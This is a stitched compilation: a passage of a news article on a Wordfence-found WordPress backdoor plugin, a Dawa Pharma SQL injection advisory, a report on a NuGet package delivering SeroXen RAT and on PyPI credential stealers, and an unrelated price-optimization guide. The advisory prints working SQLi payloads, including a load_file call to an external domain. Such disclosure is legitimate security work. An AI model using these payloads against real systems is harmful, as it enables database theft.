Other capabilities include the ability to add filters to prevent the malware from being included in the list of activated plug-ins, pinging functionality that allows a malicious actor to check if the script is still operational, and file-modification capabilities. Further, the backdoor can activate or deactivate arbitrary plug-ins remotely, which is "useful to disable unwanted plug-ins and also to activate this malicious plug-in as needed," Wotschka wrote.

"Since the malicious file runs as a plug-in within the context of WordPress, it does have access to normal WordPress functionality just like other plug-ins do," Wordfence vulnerability researcher Marco Wotschka wrote in the post. "Taken together, these features provide attackers with everything they need to remotely control and monetize a victim site, at the expense of the site’s own SEO rankings and user privacy."

A Wordfence analyst discovered a sample of the malware during a site clean on July 18, and created a signature the following day, which was subsequently tested and released to Wordfence customers on Sept. 1.

**Malicious Plug-in: A Hidden but Detectable Malware Enemy**

The researchers broke down some of the key functionality of the malicious plug-in, including features that are most likely to arise suspicion among current site administrators or users.

One of those is to use wp\_create\_user function to create a new user account with the username superadminand a hardcoded password to set up an attacker as a website administrator. This account is removed once a victim has been successfully compromised as a way to remove traces and thus reduce changes of detection, according to Wordfence.

"While often seen in test code, user creation with hardcoded passwords should be considered a red flag, and the elevation of this user to an administrator is certainly reason enough for suspicion," Wotschka wrote.

The malicious plug-in also includes bot detection code, which is often present in malware on a website that serves normal content to some users while redirecting or presenting malicious content to others.

"One common thread shared by these infection scenarios is that site owners find their site looks fine to them, but their visitors have reported issues such as seeing spam or being redirected to dubious sites," Wotschka explained.

Further, since this kind of malware wants search engines to find the malicious content, it is usually served to them as they index a site, he said. Threat actors use keyword stuffing to help increase traffic sent to infected sites, with administrators often reporting a sudden, unexpected surge in site traffic when their sites are hit by an infection.

While the presence of bot detection code on its own is not enough to verify that malicious activity is present on a website, it does stand out as suspicious activity, Wotschka added.

**Securing WordPress Sites**

Plug-ins remain an exposed and sizeable attack surface for WordPress and the millions of sites built on it, an endemic issue that remains a persistent threat. Threat actors have targeted WordPress sites via both malicious and vulnerable plug-ins, with both issues often going unnoticed by site operators until after a website is already under active attack.

Overall, anyone building websites using WordPress should follow security best practices in how they configure the sites to ensure they remain as protected as possible. Wordfence advised that they should also include some type of security monitoring on the site in case of compromise even after following these practices.

Backdoor Lurks Behind WordPress Caching Plug-in to Hijack Websites

Dawa Pharma version 1.0-2022 suffers from a remote SQL injection vulnerability.

    ## Title: dawa-pharma-1.0-2022 Multiple-SQLi## Author: nu11secur1ty## Date: 10/12/2023## Vendor: https://www.mayurik.com/## Software: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download## Reference: https://portswigger.net/web-security/sql-injection## Description:The email parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+'was submitted in the email parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed. The attacker can get all the information for the clientsof this application from the server, and very sensitive informationfor accessing the server by exploiting the vulnerability.STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```MySQL---Parameter: email (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: email=-8698' OR 5305=5305-- vvuH&password=mayurik&login=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: email=mayuri.infospace@gmail.com'+(selectload_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+''AND (SELECT 4515 FROM (SELECT(SLEEP(15)))KUth)--VRdC&password=mayurik&login=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/dawa-pharma-1.0-2022)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/10/dawa-pharma-10-2022-multiple-sqli.html)## Time spent:00:37:00

Dawa Pharma 1.0-2022 SQL Injection

A malicious package hosted on the NuGet package manager for the .NET Framework has been found to deliver a remote access trojan called SeroXen RAT.
The package, named Pathoschild.Stardew.Mod.Build.Config and published by a user named Disti, is a typosquat of a legitimate package called Pathoschild.Stardew.ModBuildConfig, software supply chain security firm Phylum said in a report today.
While

A malicious package hosted on the NuGet package manager for the .NET Framework has been found to deliver a remote access trojan called SeroXen RAT.

The package, named Pathoschild.Stardew.Mod.Build.Config and published by a user named Disti, is a typosquat of a legitimate package called Pathoschild.Stardew.ModBuildConfig, software supply chain security firm Phylum said in a report today.

While the real package has received nearly 79,000 downloads to date, the malicious variant is said to have artificially inflated its download count after being published on October 6, 2023, to surpass 100,000 downloads.

The profile behind the package has published six other packages that have attracted no less than 2.1 million downloads cumulatively, four of which masquerade as libraries for various crypto services like Kraken, KuCoin, Solana, and Monero, but are also designed to deploy SeroXen RAT.

The attack chain is initiated during installation of the package by means of a tools/init.ps1 script that's designed to achieve code execution without triggering any warning, a behavior previously disclosed by JFrog in March 2023 as being exploited to retrieve next-stage malware.

"Although it is deprecated – the init.ps1 script is still honored by Visual Studio, and will run without any warning when installing a NuGet package," JFrog said at the time. "Inside the .ps1 file, an attacker can write arbitrary commands."

In the package analyzed by Phylum, the PowerShell script is used to download a file named x.bin from a remote server that, in reality, is a heavily-obfuscated Windows Batch script, which, in turn, is responsible for constructing and executing another PowerShell script to ultimately deploy the SeroXen RAT.

An off-the-shelf malware, SeroXen RAT is offered for sale for $60 for a lifetime bundle, making it easily accessible to cyber criminals. It's a fileless RAT that combines the functions of Quasar RAT, the r77 rootkit, and the Windows command-line tool NirCmd.

"The discovery of SeroXen RAT in NuGet packages only underscores how attackers continue to exploit open-source ecosystems and the developers that use them," Phylum said.

The development comes as the company detected seven malicious packages on the Python Package Index (PyPI) repository that impersonate legitimate offerings from cloud service providers such as Aliyun, Amazon Web Services (AWS), and Tencent Cloud to surreptitiously transmit the credentials to an obfuscated remote URL.

The names of the packages are listed below -

*   tencent-cloud-python-sdk
*   python-alibabacloud-sdk-core
*   alibabacloud-oss2
*   python-alibabacloud-tea-openapi
*   aws-enumerate-iam
*   enumerate-iam-aws
*   alisdkcore

"In this campaign, the attacker is exploiting a developer's trust, taking an existing, well-established codebase and inserting a single bit of malicious code aimed at exfiltrating sensitive cloud credentials," Phylum noted.

"The subtlety lies in the attacker's strategy of preserving the original functionality of the packages, attempting to fly under the radar, so to speak. The attack is minimalistic and simple, yet effective."

Checkmarx, which also shared additional details of the same campaign, said it's also designed to target Telegram via a deceptive package named telethon2, which aims to mimic telethon, a Python library to interact with Telegram's API.

A majority of the downloads of the counterfeit libraries have originated from the U.S., followed by China, Singapore, Hong Kong, Russia, and France.

"Rather than performing automatic execution, the malicious code within these packages was strategically hidden within functions, designed to trigger only when these functions were called," the company said. "The attackers leveraged Typosquatting and StarJacking techniques to lure developers to their malicious packages."

Earlier this month, Checkmarx further exposed a relentless and progressively sophisticated campaign aimed at PyPI to seed the software supply chain with 271 malicious Python packages in order to steal sensitive data and cryptocurrency from Windows hosts.

The packages, which also came fitted with functions to dismantle system defenses, were collectively downloaded approximately 75,000 times before being taken down.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Malicious NuGet Package Targeting .NET Developers with SeroXen RAT

By Owais Sultan
Price optimization transcends the domain of business buzzwords; it emerges as a foundational strategy that possesses the potential…
This is a post from HackRead.com Read the original post: The Ultimate Guide to Price Optimization

Price optimization transcends the domain of business buzzwords; it emerges as a foundational strategy that possesses the potential to either propel a company towards profitability and competitiveness or leave it trailing behind.

Within the pages of this comprehensive guide, we embark on an immersive exploration of the intricate world of price optimization, unveiling the immense power it wields for enterprises of all scales and sectors.

Our journey traverses the fundamental principles, delves into sophisticated strategies, harnesses the capabilities of data-driven insights, and equips you with the essential tools to master the art of price optimization.

**The Power of Price Optimization**

Price optimization surpasses the mere act of assigning numerical values; it represents the art of harnessing the formidable force of pricing to drive revenue, maximize profit margins, and establish an unwavering foothold in the market.

It is the art of striking the delicate balance between what customers are willing to pay and what your business requires to flourish. To unlock the true potential of price optimization, one must first grasp the profound influence it wields.

The impact of price optimization resonates throughout every facet of a business, from the generation of revenue to the enhancement of profitability. A meticulously executed price optimization strategy can usher in a wave of heightened sales, elevated levels of customer satisfaction, and a more robust financial foundation. In today’s cutthroat business landscape, it stands as a strategy that no company can afford to neglect.

**Understanding the Price Optimization Landscape**

The landscape of price optimization is in perpetual evolution, driven by the relentless advancement of technology and the dynamic shifts in consumer behaviour. In this digital era, businesses find themselves endowed with an unprecedented wealth of data and an array of tools that can revolutionize their pricing strategies.

Data analytics, machine learning, and artificial intelligence have emerged as stalwart companions in the pursuit of retail price optimization. These technological marvels empower businesses to navigate through vast troves of data, discern emerging trends, and execute real-time pricing decisions. Customer data and market insights are now more accessible than ever before, serving as invaluable assets for the refinement of pricing strategies.

**Factors Influencing Price Optimization**

Price optimization is a complex process influenced by a multitude of internal and external factors. Understanding these factors is essential for crafting effective pricing strategies.

Internal factors include production costs, which set the baseline for pricing, and the business’s own financial goals. External factors encompass market demand, competition, and customer behaviour. Balancing these factors is crucial to achieving effective price optimization.

**Strategies for Effective Price Optimization**

Effective price optimization requires a well-defined strategy. There are various pricing strategies to choose from, each with its own strengths and weaknesses.

Dynamic pricing, for example, involves adjusting prices in real-time based on market conditions and customer behaviour. Value-based pricing focuses on aligning prices with the perceived value of the customer. Segmentation allows businesses to tailor pricing to different customer segments, while psychological pricing taps into consumer psychology to influence purchasing decisions, researchers say.

Real-world examples of companies successfully implementing these strategies highlight the versatility of price optimization and its application across industries.

**Data-Driven Price Optimization**

Data-driven decision-making is at the heart of modern price optimization. Market research, customer data, and real-time analytics provide the foundation for data-driven pricing decisions.

Through data analysis, businesses can identify pricing trends, track customer preferences, and anticipate market shifts. Leveraging data empowers businesses to make informed pricing decisions that maximize profitability.

**Advanced Tools and Technologies**

Advanced tools and technologies have transformed the landscape of price optimization. Machine learning algorithms, pricing optimization software, and pricing intelligence platforms have become indispensable for businesses seeking a competitive edge.

These technologies use data and algorithms to determine optimal pricing strategies. They consider factors like demand, competitor pricing, and historical sales data to fine-tune pricing for maximum profitability. Practical tips on implementing and integrating these technologies into pricing strategies are essential for staying ahead in the market.

**Competitive Price Analysis**

Competitive price analysis is a critical component of price optimization. Monitoring and analyzing competitor pricing provide valuable insights into market dynamics and customer expectations.

Methods for competitive price analysis include regular tracking of competitor pricing, analysis of competitor pricing strategies, and identifying opportunities to adjust product prices to gain a competitive edge. Adapting pricing strategies based on competitive insights can significantly impact profitability.

**Consumer Behavior and Price Perception**

Consumer behaviour and perception play a significant role in price optimization. Understanding how customers perceive prices relative to the value they receive can influence pricing decisions, says Chron.

Pricing tactics such as bundling products, offering discounts, and employing pricing anchoring can shape customer behaviour and optimize pricing. Additionally, tapping into the psychology of pricing can provide insights into customer decisions and preferences.

**Testing and Experimentation**

Testing and experimentation are essential components of price optimization. A/B testing, for example, allows businesses to gauge the impact of price changes on customer behaviour.

Controlled experiments help businesses fine-tune pricing strategies and identify the most profitable approaches. Real-world case studies showcase successful price-testing initiatives and the impact they can have on a business’s bottom line.

**Leveraging Loyalty and Brand Equity**

Brand reputation and customer loyalty can have a profound effect on price optimization. Customers may be willing to pay premium prices for products or services from trusted brands.

Leveraging brand equity and implementing customer loyalty programs can be effective strategies for optimizing pricing and maximizing profits.

**Balancing Volume and Margin**

Striking the right balance between sales volume and profit margin is a perpetual challenge in price optimization. Sometimes, sacrificing margin for volume can lead to increased overall profitability, while in other scenarios, preserving margin is paramount.

Understanding when and how to make this trade-off is a critical skill in price optimization.

**Price Optimization for Market Expansion**

As businesses expand into new markets or venture into international territories, price optimization strategies may need to be adapted. Local competition, customer preferences, and economic conditions can vary significantly between regions.

Optimizing pricing for market expansion involves careful consideration of these factors and ensuring that pricing aligns with profitability goals.

**Conclusion**

In conclusion, price optimization is a multifaceted endeavour that combines data-driven insights, technological advancements, and an understanding of consumer behaviour. It’s a continuous journey of adaptation and refinement, one that businesses must embark upon to remain competitive and maximize profitability.

This ultimate guide to price optimization has provided a comprehensive overview of the strategies and tools available to businesses seeking to master the art of pricing. By applying these insights and strategies, businesses can navigate the ever-changing pricing landscape with confidence, achieving increased profitability and securing a strong position in the market. Price optimization isn’t a luxury; it’s a necessity for businesses aiming to thrive in today’s dynamic business environment.

****_RELATED ARTICLES_****

1.  The Future of Fintech Applications
2.  Payoro: A Glimmer of Disruption in the Banking Sector
3.  Strategic IT Staff Augmentation: A Roadmap for C-Level Executives
4.  E-commerce Website Design: How to Build a Successful Online Store in 2023
5.  Reason Security opens beta for business edition, cuts yearly subscription price

Tag

#git